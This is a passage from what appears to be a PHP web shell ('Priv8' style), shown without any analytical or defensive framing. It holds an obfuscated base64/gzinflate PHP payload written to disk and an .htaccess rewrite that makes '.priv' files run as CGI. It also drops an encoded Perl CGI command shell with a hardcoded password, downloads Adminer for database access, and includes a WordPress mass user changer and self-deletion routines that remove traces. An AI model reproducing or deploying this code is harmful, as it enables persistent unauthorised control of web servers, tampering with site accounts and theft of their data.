\"PD9waHANCiRuYW1lPSJaWFpoYkNVeU9DVXlObkYxYjNRbE0wSWxNMFlsTWpabmRDVXpRaVV5Tm5GMWIzUWxNMEl1WjNwMWJtTnZiWEJ5WlhOekpUSTRaM3AxYm1OdmJYQnlaWE56SlRJNFozcHBibVpzWVhSbEpUSTRaM3BwYm1ac1lYUmxKVEk0WjNwcGJtWnNZWFJsSlRJNFltRnpaVFkwWDJSbFkyOWtaU1V5T0hOMGNuSmxkaVV5T0NVeU5ITjBjaVV5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXpRZz09IjsgJHN0cj0iRHBDQ0taTEVQd2xCL2Y0RFM2alAwdkx4QlRjK3lRaVBua1BIS0JjUGswL1BEVUYyT01Fc2pvais5R1FHWFNOUm05bFVQdEFxS2Z6U3RIWEtGVTlYeUNBVnZxWTRaSmRKMEhkRjFYSDAra0hsQTFxUEZNdlE1TmdJQ2hYeFVlUnBCT000TnhrTGZEQXBwcXZuN0hqdWxUWnJvWWp6RUQ4bWh5N3lFTzg3YXN6ZTNSMmU4eGNrUkc0dnZoYW13dlV2MHdFbEI5UlVHenc0cllaZ3hmRE1adXk4Vm1xSmtSTVZOb2tCcCthV0xNdHN4a2ljbERvT3QzZW5yYTRSTDVhM2VqN0ltVGk2bjd5b1ZOYzc1S2dyMWpsa2loZGdPNFcrcVpGeWlLdHpESk8vZzd3clhWcHFBeThKTDVEQ1NvTmhxOUdBSUFkQWNqcmxDQUVRREtJcE1uRmQ2ekNyVDNWa2Z1WVB4WG0wb3BrYktTZGcveG1hMGFpTnR5cFNyTTN5M0loVmd2Wm5FdEl4VCtzeTFhRkYyeTNJeWcxYWw4WGdVcjRWamxhVWlVbWFlKzFPL3F0WFZId213TEt3d1R2Y1kxQmt4L2pEQTdGK3Bwd2JvU0pXQk00dzFlalFPUFZjZ21kakVYNisvRVU0eGJKTDJlZ2FDZHkzVXFDYnh2dlk1R2F4bFcvekRNRFRGeFBYTHBRZCszbGxEaFBGVC9qS0ZVTGlOZHlzdkRxaGtWaTRMWG1FYm84SHdzZXFKdGdtV1NTOU9oeU5PRlN0c0kxNmZ5b0IxQWtkTGprUU1lTWo5TlJRS0ZYeC9pRDRmVXNwcDZaWkNjVk5OWWlROEtVR2prRmhzaWNOaVcvbk14eUVwdFpobnhzQnlDZTVOVnlJVXByYWhtYVRldUlBYTBpMWplUkx1bHVvZk8vRzdNbnlSemxlZXdKZmo4c09UZkwrbDRRcEtCeXp5RHFsVDNlOGxvcUFaYjI5d2k2QW1LV2s3SXVobGtCdlkvQ21JUi9aTmpKQWE4V3hENUt2NXpvb3VWS1owMFUxVVkza2dBb0dVNG1pNXA1QjMvZ3BxeEcwYUkwMUlKQjdTYUV5SWVyTGY4bXpQcTd0Uk80S1hXazRtUUZLc1FVWkhJVGM1aEZpSzdBWkNLLzdrUm1oeUVCZEJtZ2dUTXFqZmxqMnFCQVprbThPcGdKSEdYbUp3WjR4NE1CTXBFS2JqV1I0ZDk2U0ZKREFuOCtPN2VIOFB4aENCTFNKdk5OZG9DdEVjNDErM1k0TXZzay96OXVDMlg0Zzl6NExMZGxubWw4RUhIVFhpYkw4WVFNU2RuODF2aFRFb1FCS1A5cUxpWkdLa0NSQ3Rlb2s3REpNR0kyaG9MVWM5b05DUmR3RFIxRjZlNE5ERVVObXlIbUd4SU1GYU5QMUFBdTRFSDV2NGtmaUxGZ0Z4RnZIajhQeiszL0hIaHZvM09DRXk4WVdVMERyOGdMWjBZRTdmQ0N3YzJnUENYUVdrRG5EQWRIRDduQTNMZCtTVDgxL29IMU41U1V3eG5OQXhtVWU4RzRhZnVQeTc2S01HWXFXNVJ4OHRaYTduSHBydVVMYlNIZ01pd0Y0VXRMYnBkNVVuZmhaajM2T3Y2Q0FnaUhkUjRnZ2hCcFJDTy9lZkFGd2VYTVBiTHFIRVF4bFlNOXN1VVo1QjNkZDc2R2k0dGZVY0dEM1VkME4zdXhTN1BiVUlUdzNkTkh1bXMwTVJ3dEVsTFpBeVVuSWV1RDdMSEpOTkduYzk3RzMxbEtEdHhJaE1GcG9CUEJmT2tJaE5wdU9RQVBDQ2Fsb3Z0d2hJaEdJam5tZnZ4ajEvbFVBVERvKzl4eGQ5VFhjQWV6MFVqOStuSDV6VEptbmMySkhoVmtIRVJkbVRJVjVUMkFDUTlobW5YNHNha0JRcHRyVE5MQ3RoQXVaa0wweCtXUnVjc2ZTcGJOaG9CdVFBcXV2QjVnRHQvVW5YQVFzd0tBaDB5WHU1SGMycmUwS0UwRG8vNnNUL21kV0NnSFh2b2wzQkdZTUZYMndLaWd3UmZPRDJnaVJEV09LdVl6cWRleGxYZXR1QklHNEV3NnE0NExBNGNsdXY4STZncUFzTmdsQ3NlZ1dEWURoY0pJTS9qb1hFVXlYUW9VNTB3eVdESVhOeHBFeFJjbVFnV1FBcEE1d0ZxMXUvZjBGKzVZQVNIZ0NSSVBvRkNReVFKVWgxUWdRNXpyNFFEUmhNa05VQ2JJWnlDUm9YS0QvUTJmMmVNM0JTY1pkdDVHY3ZGZkFocFFDU1daclRYZjZsU2VlWVN5NDBRSEJ3TGczTTZaYzNoTTR2ek5BQ3JKZ1VBbkZjY3AyS1FoUTVqUG5Kc1JJa0gxTGZSZU1sd3FDV0xVR0Zud3hJQ0lLaHlDQXg5d245aEJVTTVZUXI1VVh6OXJPNVltemQvazNwTEg1aUx3aGs3ejhvLzJldlhKQnpBdGhOTEJtZG02T1lLYXNMTVA3UHZKSWlwUFRuVk1CMjhUQUFLZDIyeUNCZTBDRTkyWXBHelo0L3NhdWh4TytHV0cyTmJMeUFFR0hoVTQrQjVCQ1prRzJaY1AxOS9LMGpFRE1xN0hCQWY3MzJaUVgxbEhZVm5NWDlEK1ZONlZjMUlxVStWNkw2eEtnclJxcG14d3ZxTkpFUVRnZTRWVEZEZWEwR000SWluZUdpbFcxSkhLaTBEdkJZcGZjS1JUU2NjTzgvQUZlazVqMEpHU210d2VhbWxkOHIzZVNPUVRqdVZoTCtTcnR3QzZxQ2M2Q2lTMEFwN0lORUpvRktYako0eXNwVUFpaG5pdDYzdXpiSlhLZk95VU9LWDhwbm1lMlVYV0s4NFo4OXUrd21YdnZ6eWM0cE53MDhTdTN6THIya0w2Znd1VmZrb2IzeUdvMHlycE5rS3RtenNpdURCWTUwWXRTd2tySUhtREM0bXlueFR0djZiWVhYS21iNkJ2bnJwMTRleVpsNlpsNVZ0L1R0SGpodHFNS3V2RVBWSXBBZDd0Mi9waGRmLzBTVWxYT2RiSFJ0ZW5FM0FTNXZnbHRybjMya2J1MjMwNnRrL28yUGZ6bnRsalA5cGV2ZHJiOS9ubTM4L1hJUUhmYVlBN2lSQ1p2TzBoc0p4UVV3bXVXdGk1QUdaazhIUVRReTgyR3hkU1BmQkdObnZ4SXgrMFl3aTVuUHFZaEhRZG56b1NrbStPbTladmkzbmZEUzJabmYxeHZOQ1praVpQZkxsM3d1bmlobktBM2FRSU1KYk15b0FwbnJoV2FmdWhKL3Q1enJ1ZWpMZzhZTFpaai9uRGlScFZzYWRiL1dMUkdyTVhDdHR3ZHR2NzV6MkNhMmlIRktITmMvbk9ac0hzWjlLSGpIYnRTelZjNmtCYnN5ZDR5RlYreExQN0huOEJ6NTIvcEN2MzcyT2ZDc1ZoUFFyWkg1bDdEVncyOU5QdGd4SksyWWhJdmRWTGM4bVF6RHpSUElQMG84QXp6NHp4ZlEwMnpXbUxFWlJSYXNCeGp1c3JRTWhUSmxUWXZobUgydFlSODFIeHBVMFBNV3FDaEJtVFdGa28rYU9RWUxuQWg4V0NZRVMzZXdnWnlhQnMwUEhNRHdFUHpINEkvbjZtRWVQQnVPR1UzbVptaTg5QU9mOU5oNzZRbHhVYUdsZStWWm9OZUp2RkVBQ3lKUThhekNlQXhQM0NUMitrM1Z2bjJiV2tHQ3Y5aGlrME5zUTlpM054S2twV29FSFA2TUR4VnNPYklCWUh4UUhSaDJRZmtVbWZoZmRJVmhXZ2wzWWt5WFJBYVJ6NmJOMmoxM3MxcmJaamtBenNYRGJHS3d1MG5CZDJmbiswdFB2dDVhcVJrQVNsMlZIM1p4ZWl2Tm9qSXNJVlRsWHFzV0hrVVJyUzNGdWRVWUN2SEdmbE01SnhLVnRaQWNuUEhzVm93dHJmZ3FQcmNWR0F5RXJpSTNMR1dGbWk5Q2RlUTVKbnQxU0RsRUpzd0ZCYlBuRHJlUDc1QmZRa2sxK2docE5Rd0pLZWEwMWFXNjRITDRqZWFPYW1vcWhkTFNlQnFzYnhKYmtRSTlMWXVIMzBLVUpoYmJaOHlJdUFVK3h6Sm1KbTg4MWFVN0ljOTRFeTlSTi83NStKSTlDQTZKaE1LNEZQS0xXTElTakFUYnIyRXp0MXJySVZlTWJWaEtXRWlwSTdRejdsdGpGR3JmNjl2Zi8rOTVDMmFtdWlYODZWT2NqUis4M3FZMUhoSWw3TjRIdVlxRzBZSi9pMWJEYzRtMTlXb1RTNDE4cFo5N0pxOHZybCtJM3c2Z1ZuTTBDYk9hRnI2Z2RtcEJiWjJzdy9qaVY2NHB5WTJtWWF5NTk5NlIwYzB6dllDRjZ1SUxId1lPcE5qOUxySEMxMHQ4aWxkOFU0czIzZ0RZTnY3czlLd0Q0Ym50M1ovR3d3UDkyWkQ4WThHK1M5K0duc1B4UDY3bVFqYmVIdXd4ZmNVVEFmSWFSNjdTeTlsQnVQU0dHTEV5dkY1U3o0TFZzcURQUFl5UWtqT3kzT21XOXEzL3ltbCtMNnhZSyt4aFNmK1J3emRlSkxXbjhxUTB6WHJVNUdSKzhnakthRlAyeno3UGZYZVFNVEtkU3J6TzNSanhhWlNkbDk3M05NTllyVTFXSnBMV2F0bHplOUF0ZFREcUtQOUpjTUdUQ0FkZDJjQUJrUU1Tdk8yM0Z2bjc4ZkZLdjlVN3hWN2NpWDlOcWdjQndKZTFMb0M5RlE5OXBnZ0JVUGVLY1lBIjsgJHRleHQgPSAiU3kxTHpOSElLTW5OS1M1SVRjNU16RW5PU0N3cWprOUpUYzVQU2RVb0xjcUJzcElTaTFQTlRHRGlLbm1KdWFtYVFHQU5BQT09IjsgZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKSk7IGV4aXQ7ID8+\";\r\n\t\$mass = fopen(\$file_mass, \"w\");\r\n\tfwrite(\$mass, base64_decode(\$mass_script));\r\n\techo \"<br><center>  <iframe frameBorder=0 src='priv_sym/conf.php' width='900' height='480'></iframe></a>\";\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nfunction actionEdituser() {\r\n\thardHeader();\r\n\techo \"<center><h1>Wordpress Mass User Changer</h1><div class=content><br>\";\r\n\techo \"<br><center>  <iframe frameBorder=0 src='?user' width='900' height='400'></iframe></a>\";\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nfunction actionLogout() {\r\n\texec(\"rm -rf priv_sym priv_cgi adminer.php\");\r\n    setcookie(md5(\$_SERVER['HTTP_HOST']), '', time() - 3600);\r\n\tdie(\"<style>\r\n\tbody {background-color:#000000; background-image:url('https://i.imgur.com/hLcQCBx.gif'); } </style></br></br><body><pre align=center><form method=post style='color:#ffffff;text-align: center;'>bye bye<br><br></form> </body>\");\r\n}\r\nfunction actionSelfRemove() {\r\n\tif(\$_POST['p1'] == 'yes')\r\n\t\tif(@unlink(preg_replace('!\\(\\d+\\)\\s.*!', '', __FILE__)))\r\n\t\t\tdie('Shell has been removed');\r\n\t\telse\r\n\t\t\techo 'unlink error!';\r\n    if(\$_POST['p1'] != 'yes')\r\n        hardHeader();\r\n\techo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,\\'yes\\')\">Yes</a></div>';\r\n\thardFooter();\r\n}\r\n\r\n\r\nfunction actionAdminer() {\r\n\thardHeader();\r\n\techo \"<center><h1>Adminer</h1><div class=content><br>\";\r\n\t\$full = str_replace(\$_SERVER['DOCUMENT_ROOT'], \"\", \$dir);\r\n\tfunction adminer(\$url, \$isi) {\r\n\t\t\$fp = fopen(\$isi, \"w\");\r\n\t\t\$ch = curl_init();\r\n\t\t \t  curl_setopt(\$ch, CURLOPT_URL, \$url);\r\n\t\t \t  curl_setopt(\$ch, CURLOPT_BINARYTRANSFER, true);\r\n\t\t \t  curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);\r\n\t\t \t  curl_setopt(\$ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\t\t   \t  curl_setopt(\$ch, CURLOPT_FILE, \$fp);\r\n\t\treturn curl_exec(\$ch);\r\n\t\t   \t  curl_close(\$ch);\r\n\t\tfclose(\$fp);\r\n\t\tob_flush();\r\n\t\tflush();\r\n\t}\r\n\tif(file_exists('adminer.php')) {\r\n\t\techo \"<center><font color=white><br><a href='adminer.php' target='_blank'>[ Adminer login ]</a><br><br><br></font></center>\";\r\n\t} else {\r\n\t\tif(adminer(\"https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php\",\"adminer.php\")) {\r\n\t\t\techo \"<center><font color=white><br><br><a href='adminer.php' target='_blank'>[ Adminer login ]</a><br><br></font></center>\";\r\n\t\t} else {\r\n\t\t\techo \"<center><font color=red>Failed to create Adminer file</font></center>\";\r\n\t\t}\r\n\t}\r\n\thardFooter();\r\n}\r\nfunction actionBruteforce() {\r\n\thardHeader();\r\n\techo \"<center><h1>Cgi Telnet</h1><div class=content><br>\";\r\n\t\$cgi_dir = mkdir('priv_cgi', 0755);\r\n        chdir('priv_cgi');\r\n\t\$file_cgi = \"cgi.priv\";\r\n        \$memeg = \".htaccess\";\r\n\t\$isi_htcgi = \"OPTIONS Indexes Includes ExecCGI FollowSymLinks \\n AddType application/x-httpd-cgi .priv \\n AddHandler cgi-script .priv \\n AddHandler cgi-script .priv\";\r\n\t\$htcgi = fopen(\".htaccess\", \"w\");\r\n\t\$cgi_script = \"IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiUFJJVjgtU0hFTEwgVmVyc2lvbiAxLjMiOwokRWRpdFBlcnNpb249Ijxmb250IHN0eWxlPSd0ZXh0LXNoYWRvdzogMHB4IDBweCA2cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApLCAwcHggMHB4IDVweCByZ2IoMzAwLCAwLCAwKTsgY29sb3I6I2ZmZmZmZjsgZm9udC13ZWlnaHQ6Ym9sZDsnPlBSSVY4LVNIRUxMPC9mb250PiI7CgokUGFzc3dvcmQgPSAicHJpdjhzaGVsbCI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9CgllbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxNTA7CiRyb3dzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJbXkgJGRpciA9JEN1cnJlbnREaXI7CgkkZGlyPX4gcy9cXC9cXFxcL2c7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxsaW5rIGhyZWY9J2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcGVuK1NhbnMnIHJlbD0nc3R5bGVzaGVldCc+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPlByaXY4IFNoZWxsIENnaTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IE9wZW4gU2FuczsKfQp0ciB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmZmZmZjsKfQp0ZCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmMTExMTsKZm9udDogMTBwdCBPcGVuIFNhbnM7Cn0KCnRhYmxlIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7Cn0KCgppbnB1dCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogMTBwdCBPcGVuIFNhbnM7CmNvbG9yOiAjZmZmZmZmOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICNmZjExMTE7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiB3aGlsZTsKfQoKcnVuIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiAjRkYwMEFBOwp9Cgp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogI2FhYTsKfQpBOmxpbmsgewoJQ09MT1I6ICNmZjExMTE7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogI2ZmMTExMTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KCi5saXN0ZGlyIHRyOmhvdmVyewoJYmFja2dyb3VuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpob3ZlciB0ZHsKCWJhY2tncm91bmQ6ICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOwp9Ci5ub3RsaW5lewoJYmFja2dyb3VuZDogIzExMTsKfQoubGlu